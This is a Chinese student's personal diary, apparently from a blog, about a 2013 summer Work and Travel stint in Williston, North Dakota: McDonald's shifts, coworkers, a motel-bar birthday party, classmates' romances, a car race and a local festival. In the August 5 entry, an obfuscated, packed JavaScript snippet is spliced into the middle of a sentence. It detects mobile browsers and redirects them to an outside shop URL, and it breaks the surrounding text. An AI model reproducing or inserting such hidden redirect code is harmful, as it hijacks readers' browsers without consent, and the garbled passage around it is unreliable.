money.”(7月31日 星期二 晴 继续昨天的日记，抱歉……)我一时不知道怎么表达，但是对他竖起了大拇指！ 第二个Brandon是小辫儿同父异母的弟弟，同时也是Mogan（一个十八岁女生，也在麦当劳工作）的男友，他头发自然卷，打着耳钉，脖子上紧紧绷着只织了一圈的毛线（所以都扭起来了）……脚上永远穿着大皮靴……我们觉得他很猥琐！好吧，这个跳过……最后说一个八卦，他的爸爸现在在和Tempssi（红衣女Boss之一）约会，这让他们兄妹很不爽～对了，他们兄弟姐妹加起来也是六七个。既然讲到了夏天穿大皮靴，那就多说几句。在这里总是可以见到夏天穿羽绒服，戴毛线帽，脚上蹬着大皮靴的人，重点是这些冬装总是和四处透风的夏装搭配在一起的～到时候去纽约我也买个毛线帽戴着好了！ Joni十六岁，今天他又和我一起在做汉堡的线上了。他搬来威利斯顿的第二天就来麦当劳找工作了。他的父亲是美国人，母亲是菲律宾人，长得完全是亚裔的面孔。他还是高中生，非常的害羞，而且明显感觉到麦当劳的很多人欺负他……他的第二份工在冰淇淋店，我问他怎么上班，他说走路的时候我还是很兴奋的！毕竟在这里走路的人太少了，而且想象到他穿着麦当劳的工作服和围裙一个人走在大街上的时候我就觉得很有喜感～还有他的牙套！今天我们又聊到了万圣节，他也认为自己到了不能要糖的年龄，我问那他万圣节干什么？他说，给糖！顿时我就笑了。我想了很久，问了一句，Do you support yourself?他摇摇头，很腼腆地笑了，回答，I am only sixteen.说到这里我又想到了在沃尔玛遇见在那个收银员，已经是个老头了，他告诉我，有一个亚裔的妻子是非常美满的事，她们不会像美国女人那么爱玩，她们会把家庭照顾的很好……我确实发现这里的男人对待亚裔女性的态度……很奇怪！ 不好意思这里再插一件事。我基本在后厨工作，没有和顾客怎么正面接触，这让我很高兴～实在话，我不怎么喜欢和顾客接触……炯炯和骏骏经常在Drive-Thru收银和递餐，接触顾客很频繁。然后就会遇见这样的事：开车的男性问她们要号码；一车的男性，其中一个说很挑逗的话，然后一车的人起哄；付了钱，接了餐，占着车位不往前走要讲话；最恶心的就是在递钱或递餐的时候死死抓住你的手不放……结果老婆或者女友就坐在副驾驶上！不知道是不是我的思想太封建，这种事，我很不喜欢…… 好了，接着说八卦～Medo是来参加项目的约旦人，还有一年大学毕业。在麦当劳总是被欺负，现在和戴同学在恋爱……据戴同学称，她去纽约前的晚上，Medo吻了她，他们什么都没有说，就在一起了……是的，戴同学和他在一起以后把国内的男友甩了……理由是，国内的男友对她太好了……八卦的有点多啊！然后呢，Medo之前是追过如姐的，只是如姐没有答应……就说到这里！ 65.大二暑假（11） 2013年7月31日 星期三 晴 很抱歉在日记一开头就吐槽，但是我被美国人放鸽子的次数真的太多了！第一次，Micheal说做Grill给我吃，未果；第二次，Jess说要给我带Cookie，再没有在麦当劳出现过；第三次，楼下的Housekeeper向我要中国货币，约好下午四点见，我下班回来等了半天没人！结果第二次他见到我还问我怎么回事，后来他说他应该是睡过了；第三次，Natia说好把我们的碗还回来的（她过生日我们给她做了一碗面条），至于Tempssi，我们就没指望过什么；第四次，就是今天，Jessica说她要来麦当劳教我做娃娃的，结果……就在下班前，Lyndse（蓝衣经理，十九岁，终于拼对了她的名字）问我周五是否上班，她说她有礼物送给我。我周五休班，所以她就说找个时间。我不抱太大的希望，不知道美国人对于随便说说持什么态度……啊！随便说说就是随便～ 好了，先说昨晚的狗血Party吧！威利斯顿晚上十点多才开始黑天，所以我们从超市买菜回来已经是晚上快十点了，还没有坐定，就有人砰砰砰地敲门（我最讨厌的）！现在有人敲门我会习惯性地问Who is it？结果是约旦的Jason，他说在楼下有一个Party，今天是Melic的生日。他的口音太重了……老半天才搞懂的。我比较犹豫，不是太想下去……后来炯炯也站到门口来了，Jason就一定要带我们去开Party的地方看……我们一时不知道怎么拒绝，就跟着他下楼了。真的是在我们Motel的酒吧！不过我们穿过了酒吧，在酒吧的小院子里。院子里有几张木桌子，Melic坐在其中最大的一张方形桌子前，戴着遮住上半部分脸的面具，边上是郭同学和她的美国男友Jason，桌子上放着一个大大的冰淇淋蛋糕。约旦的Jason说要我们换好衣服赶快下楼来（我还穿着工装）……如姐告诉我们，要到十点了，十点他们就可以开始吃东西了，这个月和下个月好像是□□的什么斋戒，每天只有晚上十点到凌晨四点可以吃东西！这时候酒吧的一个服务生过来了，要检查每一个人的护照，Jason又让我们带上护照。我忽然想到了拒绝的理由，我反复强调自己没有满二十一周岁，不可以进酒吧！可是Melic和约旦的Jason就是坚持要我们参加，想想在麦当劳他们确实帮了很多忙，而且Melic在异国他乡，没有几个朋友，也挺可怜的，我们就勉强回来换衣服拿护照了。那时候已经是晚上十点了，我们说好了十点半一定回来！没一会儿，约旦的Medo又咚咚咚来敲门了，要我们快下去。我告诉他我没有满二十一周，不可以喝酒，他觉得很遗憾，不过还是再次催促我们下楼…… 再一次穿过酒吧，我还是没有认真看里面，只是感觉很拥挤，有一个吧台，有电视和几张台球桌，人人手里都拿着酒瓶或者酒杯。到了小院子里，先是把护照给酒吧的服务生看（虽然是酒吧的小院子，几乎没有什么人，但毕竟还是属于酒吧），轮到我，她就直接指出我未满二十一周，不可以逗留。忽然约旦的Jason和Medo直接冲上去了，我要走，他们拦着，我说，“I don’t want to get trouble!”没有用，约旦的Jason就是要我坐下，他在那里和服务员说。Medo让我拿着戴同学的护照重新去找一次服务员（我们一致认为Medo虽然已经是戴同学的男友了，但仍旧非常花心，到处和别的女生献殷勤），我拒绝了！但是答应唱了生日歌，吃了蛋糕再走。 大家点燃了蜡烛，开始为Melic唱生日歌～一次英语，一次阿拉伯语（约旦的官方语言），一次中文！可是Medo真的喝多了，他不断要求一遍又一遍地用中文唱（他负责录像，又不是他生日），第一次Melic很高兴，也说了一次Again，我们就又唱了一次，但第二次Medo再说Again，我就闭嘴了，再后来的Again也就只有郭同学还在唱……可是忽然约旦的Jason过来吹灭了蜡烛！Melic有点生气，连我们都有点生气了！于是我们又帮Melic点了一遍蜡烛，他像个小孩似的非常委屈（24岁生日）……我们又唱了一遍生日歌（无奈……），然后让Melic赶紧许愿。他傻乎乎地用阿拉伯语说了什么，就开始切蛋糕，这时候新来的几个中国女生也被邀请来了，我们几个拿了蛋糕就走了……话说这次的冰淇淋蛋糕很好吃～后来发生了什么也都是听说了。 下面又要开始八卦了……美国的Jason和郭同学坐在一起的时候在接吻，Jason的手就伸进了她的胸，据说Jason是有孩子的人了。然后就是电影里发生的场景，Party开着开着，就有一对男女消失了。等我们上楼来，他们刚开了房间的门，男人洗了脸，脖子上搭一块毛巾，女人满脸通红，看着我们尴尬地不知道说什么～再继续，我们回来后不久他们把Party地点换到了约旦人的房间，如姐继续参加了这个小型Party，唱着歌跳着舞，情侣就亲在了一起，滚到了床上，拉起了帘子……据说接触了帝国主义东西的人多少都会改变，可是有些人的变化大得让人透不过气来！或许是我的思想太封建了吧……最后说的是，戴同学和她国内的男友没有分手，她在美国，这个距离，发生了什么也没有人知道……吧…… 说说今天愉快的事儿吧～早上我跟着Maria（墨西哥人，手上戴着她老公送的6000刀的硕大钻戒）一起准备午餐的食材。做汉堡需要用到Pickle（酸黄瓜），Special汉堡用的Pickle也是特别的（上面居然切出了波纹），需要从一个泡满酸黄瓜的大桶里用手捞出来放在盒子里。黄瓜是从冰库里拿出来的，我戴着手套从泡满酸黄瓜的水里捞啊捞……刚开始还好，只是觉得手伸下去很凉，到后来整个手都冻到了……居然有了不敢把手再伸进去的想法……捞完了一桶，整个手冻得通红……这就是准备午餐食材的人天天做的事，所以说自从真正开始了工作，我就决心多当几年学生（话是这么说……）！ 在餐厅里工作的大部分人学历都不高（也不能这样说，不知道怎么表达比较好，就是知识面比较窄吧），Vern（红衣男Boss）是我觉得学识不错的人之一，他对各国语言都非常有兴趣～今天我第一次有机会和他聊天，很有意思～下面用对话的形式来吧～我的英文名是Elizabeth，下面简称E。 E：Vern, What do you think of China?(你觉得中国怎么样) V：I never been there, I have no idea, but I want to go to China.(我没去过中国，所以不知道，但是我想去。下面翻译成中文吧，这样太麻烦了……) E：那你对中国有什么印象？ V：你的印象是什么？ E：我？对中国的印象？ V点头 E：我觉得我的祖国很辽阔，有很赞的文化，数不清的有意思的地方，还有各种美食！我为自己的祖国骄傲～ V：嗯嗯！我喜欢汉语！（他超级认真地说，你会发现这里人回答你的问题往往跑题严重……）这次麦当劳来了中国人，是我第一次真正接触中国人，我以前只接触过印度人，日本人，韩国人。 E：你可以分辨亚洲人吗？ V：（Vern给我的感觉就是巨婴，很萌，虽然他有三个女儿了……永远瞪着他的大眼睛，撇着嘴）可以一下子分辨出朝鲜人，但是分不清中国人和日本人。如果是婴儿的话就看起来都一样了～ E：你说你也想去日本，日本吸引你的是什么？ V：不知道～ E：那中国吸引你的是什么？ V：熊猫！鸭子！我喜欢吃鸭子！中国的鸭子！（他居然还舔了嘴……Vern是一个很贪吃的老板，他老是会忽然从小办公室飘出来，来汉堡这条线上自己快速地做点什么回去吃……） E：北京烤鸭？ V：是的是的！（频频点头） …… Vern是一个我好不容易找到的对中国感兴趣的美国人，他居然愿意听我给他讲我们的少数民族，各种方言，家乡的茶树！Vern居然告诉我他从来没有喝过茶……我说麦当劳里就有甜茶和Unsweet Tea啊（真的翻译不好……抱歉，“不甜的茶”？“淡茶”？）！他说他就是没有喝过……好吧……后来我说四川有一个专门保护熊猫的地方（an area special for panda），Vern一定要去！可是我不记得保护区的单词了（原谅我……）……Vern居然跑去查了，然后告诉我美国把这个Special Area称之为Preserve！很可爱的老板～ 明天七点的班……安 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她之前有一个男友，就是孩子的父亲，Tammy工作很忙，没有办法一直和他待在一起，他就酗酒，吸毒。现在Tammy依旧有一个男友，但是两个人工作都很忙，所以没有什么时间见面。Tammy说，男友总是想要你和他待在一起，男人碰了你，你就有了孩子（她用了Touch这个词）。这里的男人（我不知道她的这里指的是威利斯顿还是美国……）总是急于找一个女友，但只要有几天不待在一起，他们又会去找新的女人。来美国之后我发现自己说话也开始直接，会很明确甚至是赤裸地说一些问题。Tammy的话让我想到了那天早上看到的报纸，头条是有人请愿北达科他州立法禁止堕胎，并希望北达科他州成为全美对于堕胎有最严厉法律的地方……我就直接问T，堕胎是犯法的吗？这里堕胎的人多吗？T告诉我，这里很多人堕胎，也不违法，堕胎一次需要300刀！但是她不理解那些人为什么要堕胎，或许是出于没有抚养能力，但是仍旧不至于不要自己的孩子！Tammy说，她的孩子从小就是她一个人抚养，而且她尽力去宠他们，让他们得到他们想要的一切，吃！穿！玩！恋爱的话要看对象怎么样，但她仍旧不希望自己的孩子受伤。 她很骄傲地说她的孩子很听话，会做家务，像洗碗，洗衣服，打扫地板什么的～作为一个母亲，她觉得很幸福！她的父母也在威利斯顿，但是由于工作太忙，和父母见面的时间很少（T有三份工）。T很好奇中国人住的是公寓还是小房子？我告诉她，中国人大部分人住的是公寓。之后她就主动要看一些中国的图片～但不一会儿她就回去继续工作了。我在这里接触的大都是这样的人，有好几份工作，每天都忙到不可开交！独自抚养孩子，或者有一个重组家庭，对外面的世界几乎一无所知。每个人都想要过更好的生活，但是在你没有接触过更好的生活之前你只可以凭着自己已有的知识想象，没有接触又怎么会知道怎样才是真正的更好的生活？这就是经历了才可以懂得理解的意义吧。 来美国之后我确实尝试了很多新鲜的事物，比如看片。以前我是一个不怎么看电影的人，现在晚上经常会和舍友一起看一部电影。昨晚看的《Pretty Women》（可翻译为《风月俏佳人》，朱莉娅罗伯茨主演，她的成名作）讲的就是一个站街的妓女接触过百万富翁后的逆袭！我们总是不自觉地在改变，有些东西，是真的回不去了。 如果真的想进一步了解美国，林达写的近距离看美国系列真的很值得一看，虽然九七年就出版了……我现在看的是第一部《历史深处的忧虑》。 最后写下昨天工作的两个小细节。一个是，我什么都没有说！Shannon（蓝衣经理，有鼻钉）居然知道了我讨厌Make Bun（她用的是Tired Of，厌倦），承诺尽量不给我安排这个岗位，我觉得人性到爆！虽然昨天还是让我Make Bun了……还有一个就是，昨天在最忙的时候我做Middle（给汉堡加酱）部分，红衣Madam过来给我帮忙，帮我度过了最难的那一段，她居然说的是，“Liz~ Thank you let me do your sandwiches!”(Liz 是Elizabeth的简称，现在很多人喜欢叫我简称……，感谢你让我做你的单子！)我都惊悚了！该说谢谢的人不是我吗？好吧，今晚要去吃墨西哥菜…… 66.大二暑假（12） 2013年8月4日 星期日 晴 以后我再也不去Rice&Spice（中餐馆）吃饭了！每次从那里吃饭回来我都要拉肚子，胃痛！明显吃出了虾和牛肉不新鲜，真是越吃越难吃！良心在哪里啊！好了，原谅我一开始就这样吐槽……今晚这餐饭是唐唐期盼已久的，唐唐就是那个和我们走不同中介，在Pita Palace（一家餐厅）工作的青海女生，还记得她的中国老板娘吗？今晚是见到本尊了。 唐唐和她的中国老板娘是校友，她的老板娘叫什么雪，以下就简称雪。雪是英语专业的学生，去年参加的WAT（Work And Travel）项目，然后在Pita Palace找的二份工，结果和老板相爱，学位也不要了，直接嫁到了美国。雪对唐唐说，我们一个小二本，是文凭重要？还是美国绿卡重要？！这就是人家的态度～八卦的时候到了……雪长得很普通，看起来就是和我们一般年纪，确实，人家就是九二的，父母是农村人，后来都去沿海打工了，从小和爷爷奶奶长大，家里没有什么牵挂。雪去年参加项目的时候住在Pita Palace的老板家（这个老板家长年出租一部分房屋给我们这种学生，唐唐现在也是住他家），大半夜的去敲老板的门，问想不想聊天？！结果两个人就一夜情了，而且第一次雪就怀孕了…… 唐唐告诉我们，想在这里找一个男人和你的长相无关，重要的是手段（我很受教育哈……）！之后写的全都是唐唐的言论，我觉得虽然是转述，但也多少可以窥见一些事实……唐唐老板的一个朋友今天二十七岁，据说长得很帅，非常让她心动！可是已经有三个孩子了，还都是一夜情的产物……这里有一种很普遍的情况就是，两人睡了一夜，第二天早上醒来做的第一件事就是自我介绍～唐唐想了想，还是放弃了……但是老板的朋友却告诉唐唐，她老板在这里是属于没有女人要的男人，和雪在一起，他们是各取所需！中国女孩在这里给人的印象很不好，很不值钱（用了Cheap这个单词），见了一面就和人上床了！你以为上床了就娶你？！你就能拿到绿卡？！那还要看你接下来的本事！这个男人说话我觉得很露骨……当然每个人想要的不一样，至少人家清楚自己要什么。 吃饭结束唐唐想去看电影，我们是真心觉得辛苦，就告别了，回来路上我就开始不舒服了……今天也不知道怎么，觉得工作好累。自从Marie对我说了You are the most awesome bun person（你是Make Bun最牛的人）！我就几乎没有被派去Make Bun，这点还是很开心～今天后来我主动申请去炸薯条。不知道从什么时候开始，做汉堡的这条线火了！麦当劳的男女老少都抢着做！一个人可以搞定的位置可以挤上四个人！大家喜欢争位置，那就争吧～我可以去炸薯条唱唱歌什么的～ 今天我还真的戴上了Lydnse送我的手链（昨天送的，其实是项链，被我当手链戴了），那个字母E和小海豚老是发出叮叮当当的碰撞声，听着还是很高兴的～早上刚来的时候很冷，我发现麦当劳里的大家很多披着外套，我也就披着了，没想到Tempssi（红衣女Boss）居然大怒！质问Adam，What’s the hell！Adam委屈的一塌糊涂……后来Tampssi又冲着Lyndse，Shinnon和Adam三个蓝衣经理乱发脾气，整个餐厅的氛围槽糕透了……Adam毕竟是十六岁，这平白无故的一顿骂让他眼圈都红了……他经过的时候我对他说，他是麦当劳餐厅里最好的经理！他很受用，很郑重地表示了感谢～不过真的要感谢他的是我。Adam给了我很大的帮助，不论什么问题找他，他都很尽力地帮忙，比如，昨天…… 昨天本来是打算去看威利斯顿大学的，结果唐唐发短信问我们去不去看赛车，因为她们店会在那里设点卖饭。我们如果要搭车的话就必须两点到她们店里一起出发，比赛要六点才开始，然后晚上十点比赛结束，等她们收拾好了再一起搭车回来。有人很想去，所以就一起去了。去之前我们打算给唐唐带点中国麦当劳没有的产品，但是时间很紧，麦当劳又有很多人排队，我就直接走到前台叫住了Adam！我用了Would you please do me a favor？告诉他我们现在赶时间，就要一个Crispy Classic（一种Special的汉堡），然后会付钱。结果Adam点了点头，走到收银台直接点单，我要付钱又冲我摆了摆手，就直接进后厨亲自给我们做了一个！感动！ 到唐唐店里等了一会儿才出发，我们四个人坐在了大皮卡的后斗里！威利斯顿沿途的风景好美～就是一片延绵的大草原！天很蓝，压得很低～比赛六点才开始，可是我们两点多就到了，于是就开始了漫长的等待……这个赛车场挺小的，只有一圈，向内倾斜，比赛前有那些大轮子的车（不知是什么车，但是轮子非常大，有点像塔吊？！的操作室那部分……形容不好，抱歉）在赛道上把地弄得更泥泞。我们就这样无聊地一直等到五点半！人开始越来越多，车也开始出现熟悉赛道了～我们惊奇地发现无法给这些车子归类……因为这些车都很破……没有车窗，歪斜的车前盖，大都可以看见内部结构（里面的弹簧什么的）……还有快要掉下来的轮子！我们姑且称之为破车大赛吧…… 破车大赛需要门票，十五刀一人，只有老人小孩和军人可以打折……买了票他们会在你的手背上盖一个笑脸，就算是证明了！从等待比赛开始我们就发现观众在不断地吃……刚买了一袋吃的，马上可以看到他又去买了……这个赛车场地只有唐唐他们店一家卖吃的，而且位置处于上风向，食物的香味随风阵阵飘来，简直是赚翻了！可买的食物总共就三种，一种是袋装的薯片（现成的一包三角形的薯片，貌似不是薯片，是玉米做的，美国超市里到处都有卖，从侧面整个撕开，里面加上牛肉酱，西红柿碎，包菜丝和Shred Cheese），一种是散装的玉米片（装在一个纸盘子里，酱料同上），还有就是面包夹热狗。前两种六刀一份，面包夹热狗是三刀一份。我只能说咸的要死…… 回到赛场，赞助商居然是威利斯顿大学！奖品是一些T恤，切菜板什么的……讲解员很带感情，自High……然后你可以押注，赌哪一辆车会赢。比赛前全体起立，唱国歌……我发现大多数的美国人都把手放在了心脏的位置（有的像是捂肚子……），还有行军礼的。我们这几个亚裔就站了起来，表示了对美帝起码的尊重，说实话，那首歌我也只是猜，是国歌吧？！ 比赛开始！马达的轰鸣震得我耳膜痛……不过漂移还是很帅的！努力想录下来，不过碍于尘土飞扬……这比赛搞笑的就是车子一边跑一边有零部件从车里飞出来！然后车子就抛锚在半路了……凡是车子出问题，比赛就暂停……所以后来几乎每比赛一圈就要暂停一次……比赛的车型有三种，一种是类似小轿车，但是破很多……第二种就像我们小时候动画片里的赛车，最后一种我也说不来，就是把轿车圆弧形的前部分变成有棱角的方形……每次车漂移的时候总有一种车要散架的感觉～尤其是轮子！还真的有一辆车的轮子轴和轮胎分离了！还有一个比较有意思的环节就是比赛前车手开车过观众席，观众集体起立致敬！然后你就会发现，虽然参赛者大都是当地人，车也是自己改装的，但他们都是有粉丝的人！ 比赛看到后面就无聊死了……满脑子的轰鸣……加上冻死人的天气！我就把注意力转到了观众席。观众们绝对是享受型的！他们大都提了一个铁桶，里面满是冰块，放上一罐饮料，然后自备带靠背的折叠椅，还有可以过冬的毛毯！还有很多观众手里都拿着一沓钱，相互打赌，然后在出结果之后付现！一直熬到了颁奖典礼……可是除了选手的家人，观众都走光了……我只记得有一个冠军十五岁，他们的奖杯像是塑料打气筒……我们谢绝了Party的邀请，又冷又累又饿地回到了Motel……想想这一天休班过的……全是体验啦！ 最后讲几件事儿～美国人是自助买冰（就是放在饮料里的冰块），冰块是一袋一袋装好卖的。唐唐的雇主告诉她要买八袋，结果唐唐没认真数就拿了九袋。她告诉雇主她不小心拿了九袋，很抱歉！雇主说，我只付了七袋的钱！ 第二件是脸书上的事儿。美国的Jason在脸书上发了一条中文状态（他的女友是郭同学），“闪亮快乐的人。”底下有人评论，“Ahhhhhhhhh！”Jason问，“You know Chinese?”那人回复，“Oh! Shit! I think that is French!”炯炯说，我们应该用中文在下面评一个，“大傻叉！”～ 8月5日 星期一 多云 每次吃Rice&Spice我们都会集体拉肚子，这次我是最严重的一次……昨晚胃疼拉肚子，吃了药又迷迷糊糊睡了，今天早上凌晨四点十分，胃痛到不行，我又爬了起来。怕影响到宿舍其他人睡觉，我拿了一整袋子的药去了卫生间，坐在马桶上一边拉肚子一边吃药（拉到痛好么！），同时庆幸自己昨晚在楼下多打了一杯热水（美国人不喝热水，热水一般用于冲泡各种饮品，所以都不具有烧水工具，我们宿舍会用微波炉烧水）。折腾了半小时吧，又爬上床睡了。这么一件事为由头，引发了我各种感想…… 出国是很害怕生病的，因为无依无靠，在需要有人照顾的时候只会让你无力。我们宿舍总是有人觉得身体不舒服，那么换位思考，我会主动承担一些本应该她们自己完成的事。昨晚我从头到尾都在难受，但是觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930730|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己可以处理，也就没有吱声。但是如姐回来的时候我全身冒冷汗，我实在忍不住告诉她，我人很难受……直到今天凌晨被痛醒，我很想叫醒一个人，哪怕只是站在我身边问一句，好点儿了没有？当然最好是可以下去再帮我打一杯热水。我知道有人被吵醒是会生气的，给国内的父母报告病情也只是无用地加重负担，那么你可以做的就是自己冷静地选好自己该吃的药。忽然很可以理解人为什么是群居动物，如果可以，是希望有人可以陪伴的。再坚强的人都会有软弱的一面，但情况就是没有人陪，你只能选择坚强，所以本身坚强也是很有必要的，哭是无法解决任何问题的。那么我会想尽力避免这些时刻的发生，首先是有一个好身体！然后就是，我一个人的话，还会选择出国念书吗？！ 因为时差老是搞不清楚，早上八点的班，我的闹铃却在六点二十响了……睡过去之后醒来就是七点五十了。可是胃还是不舒服……而且没多久，我又坐在了马桶上……要迟到了，我觉得还是身体重要，就不Care了～而且决定一定要吃早饭！如姐已经醒了，知道了我的状况，等我从厕所出来已经帮我打了并热好一大杯牛奶。牛奶配了一点瓜子仁，我又进了厕所……这时候骏骏也醒了，问我要不要请假。我居然没有请病假的想法！理由居然是舍不得这一天的工资……迟到了半个小时，我和Missi（又一个蓝衣经理，四五十岁吧，对我很好）讲了我的状况，很抱歉迟到了，并告诉她我不知道自己可以在岗位上坚持多久……Missi对我还是很关心的，把我安排在了Run的位置，而且让人帮我，每隔十几分钟就要问我现在的状况。接下来却换了几个经理当班，我被安排去Make Bun……十一点就去休息了。不敢吃太油腻，就点了鱼堡，要了一杯热水。结果在休息室被红衣Madam撞见，她看见我的小票上是经理点的免费餐，刚好Missi在，她就对Missi说，谁帮我点的餐？！鱼堡是员工不可以免费点的！这餐就是Missi帮我点的，Missi没回答问题，只是告诉Madam我生病了，一切也就结束了……回到Make Bun的岗位，不能说是具体哪里痛，就是自我感觉到机体不正常，快到三点，我就去告诉Jason我身体不舒服，要回家。 走的时候发现自己休息结束忘了Punch Time，又返回去找Adam……一团糟！工作就会发现，这是你迫不得已的事。你不可以像做学生那样翘课，因为不工作就没有工资，多缺勤几次可能连工作都要丢掉（麦当劳迟到四次解雇）。每天去上班都会有千百万个不愿意，可是你要养活自己，就必须去上班。可能今天的当班经理会把你安排在一个极不合理的位置，然后你被某个红衣Boss莫名其妙地撒气；也许你的同事刚刚还在对你笑，转身就在Boss面前给你穿小鞋，说你抱怨工作，还很Lazy；或者你又被哪个顾客投诉（我在后厨，所以没有发生过）……我们不可能每天都对工作充满热情，即使在自己最不愿意的情况下，都要学会处理和面对。今天Vern问我为什么这么安静？我回答说，因为要努力工作，集中精力。虽然有人难受的成分，但是我说的是真的。麦当劳里大家都讨厌Make Bun，这是一个需要你时刻集中精力的岗位，眼睛要看单，知道要事先准备好什么类型的Bun，是要烤还是要蒸；手要快，一个一个慢慢放那做汉堡的人就等死了，而且一箱没有了马上要去后面搬，不然很容易就赶不上了；而且还要记，把Bun放进烤箱不是马上就可以出来的，往往刚放下去一个又忘了自己放过了……对于这个岗位大家用了各种词，Hate！Horrible！Sick！所以今天我又站在那里不能挪动地Make Bun的时候，我就知道自己要要求提早下班了。 回来洗澡刚躺下却又爬起来了，我必须准备晚餐。骏骏和炯炯分别在七点和六点半下班，没有道理指着这么迟下班的人回来还给你做饭，而且我们这个功率两百瓦的锅，没有几个小时是吃不到东西的……自己也上班，也知道刚下班的时候有多累。而且自己养活自己的话，不煮就没得吃，等人是不如靠自己的。干嘛不订餐？！首先，这是三个人吃饭，只按个人意愿订餐有人会不愉快（发生过）；第二，可订餐的餐馆不多，等送餐需要时间（往往是四十分钟），而且付小费的事情上，总是有人不愿意；第三，自己煮便宜了很多，这几天花销很大，自己挣钱养活自己，你要算清楚这个月的工资够不够活（还要去旅行，虽然父母说了不必在意钱的问题，可是终有一天你要自己面对这个问题）。 这些东西我们早就应该知道了，或许早就知道，只是不曾经历，就没有这样真切的体会。我们是要懂得体谅别人的，尤其是父母；有人陪伴，是很幸福的；还有，做一个学生，是很美好的。当然，我知道自己幸福又幸运～ 67.大二暑假（13） 2013年8月8日 星期四 晴 现在的状况就是我很懒散……这一周过来的状态都不怎么好，先是迟到了十一分钟，后来因为去 Rice&Speci吃饭拉肚子什么的，早上迟到半小时，又早退……昨天是闹钟没响，直接迟到一小时……这样的状态真心不好，今天早上起来和爸妈视频了，反倒是这样起得来啊！其他的就不行了。 昨晚坐在大厅和一个男人聊天，他本来是在用大厅的微波炉，后来问我会不会弄，结果就聊开了。（煮个干饭弄了这么……）这又是一个随遇而安的人。他说他一边工作一边旅行。和我说了很多他待过的地方。其他都没什么，主要是他描述了黄石公园，太吸引人了！他还有参与过奥兰多迪斯尼的建设！看起来五十多岁了，在非洲有一个女友网上认识的，我就觉得不靠谱……他说娶了那个女的，他就会很有钱！忽然不想说他了…… 想把工资汇到爸爸卡去里的，结果中行因为ACH的事半天没搞懂，我也搞不懂……上午给中行打了电话，让我等的没音了……疯了！ 从超市回来又买了大大小小的各种～去超市总能找有意思的东西，比如今天就看见了巨型的滴管，似乎是用来滴烧烤酱的……现在去超市最享受的就是You Save！看着自己买的各种特价，心情超爽！刚还做下了绿绿的布丁，晚上看咯～ 其实是要写《李清照词选》的观后感的，结果扯了这么多闲话…李清照的词真心写的好，总有那么一句让我很回味～顿时觉得自己写文章的水平弱爆了……但只要说到人，离不开的必定是八卦，她的八卦我就很喜欢～在她和赵明诚在一起的时候，赵明诚老是东奔西跑的，据说后来还纳了小妾……所以（中间我又去拿衣服……）李清照总是写点相思愁之类的，一个人还是寂寞啊！不过特别喜欢他们之间的一个小片段：他们在自己的书房煮茶，会比谁说对，哪句话出自哪一本书的哪一页哪一行来判断谁喝第一杯茶！这种情趣我好喜欢～至于后来赵明诚病逝，李清照在五十三岁改嫁张汝舟是被人嚼烂了舌根，一边说她词写的好，一边批评她道德败坏，古时对女人的态度确实可怕，因为李清照是女人，词写得好总得加上“妇人”二字，然后称奇……不管怎样仍旧是脱离不出尘世啊！情操是有陶冶到啦～中国诗词还是很美丽的！ 2013年8月10日 星期六 晴转雨 说好了一起休班的时候去威利斯顿大学的，只是一拖再拖……终于又到了三个人一起休班的日子～早上拖沓到中午才出发……其实威利斯顿大学的具体位置我们也不知道，只是隐约记得在那附近有一座在远处就可以看见的圆塔。我们就顺着圆塔一直往前走。在早上下楼煮面条的时候，约旦的Jason说今天在公园有一个大Party，在去威利斯顿大学的路上我们刚好看见了，出于好奇，我们就进去了！ 首先看见的是在大大的草坪上支着很多顶帐篷，然后第一次在威利斯顿看见了这么多人……没走几步就遇见了Presiton，我们很好奇地问他今天这是什么日子？他告诉我们今天是Chokecherry Festival，老实说，第一个单词没有听懂……我们想了想，还是决定自己去一探究竟！先看见一辆室内空间很大的车，里面在卖些什么，我们没走进去，之后路过了一顶卖各种民族风长裙的帐篷，也是略过了……发现的第一家有意思的摊子卖的是各式各样的围裙，每一条都很有爱～都是店主纯手工制作的！我超级喜欢一条围裙上绣着一只戴着围裙的小猫，但是，三十刀……对于美国人来说三十刀的围裙就是我们花三十人民币买一条围裙，确实不贵，只是我还是习惯换算了…… 很快，我们被一顶卖各种石头挂坠的帐篷吸引！（确实在那里耗了很久……）凭着自己仅有的那么点专业知识，我还是认清了很多石头的！一共有三部分的摊子，里面堆着各式各样的切片，六刀一个，以玛瑙切片为主。从这一堆的切片里找精华还是非常有意思～可以发现鲕粒结构的岩石，黄色虎睛和红色虎睛，还有经过高温加压处理的蓝色和玫红色玛瑙！而且我发现了一块质地很不错的玉髓！不过最后我都没有打算买挂坠，因为我喜欢的在最后一个摊子上～其实是很简单的小玩意儿，一块普通的石头上，用胶枪粘上塑料的会动的眼睛和像章鱼脚的金属支架(虽然这个小玩意儿是四只脚)，取名为People Watcher！我真的深深被这个简单的创意小点子吸引了！觉得简直萌翻了！虽然我之前很傻叉地把一块红色的小石头倒过来看，一直觉得他是一颗番茄……People Watcher真的是一个很有深意的名字～哈哈！真的，人人都在看啊！摊主是一个七十一岁带着助听器的老人，他说这些石头一部分是在北达科他州他自己找到的，一部分是从中国来的。对于中国的印象就是这几年变化很大，至于以前的中国，他没有说话，只是摇了摇头……关于People Watcher，摊主说是他父亲去年想出的主意！而我，只有一直赞叹的份儿。到了结帐的时候，摊主说，我知道中国人喜欢讲价～我是一个纳税的人，你们买的东西一共是三十四刀，我不收你们的税钱，就给我三十刀吧！我们确实打算试着和他讲价来着，但是老板这么干脆，我们也就很开心付了钱走了～ 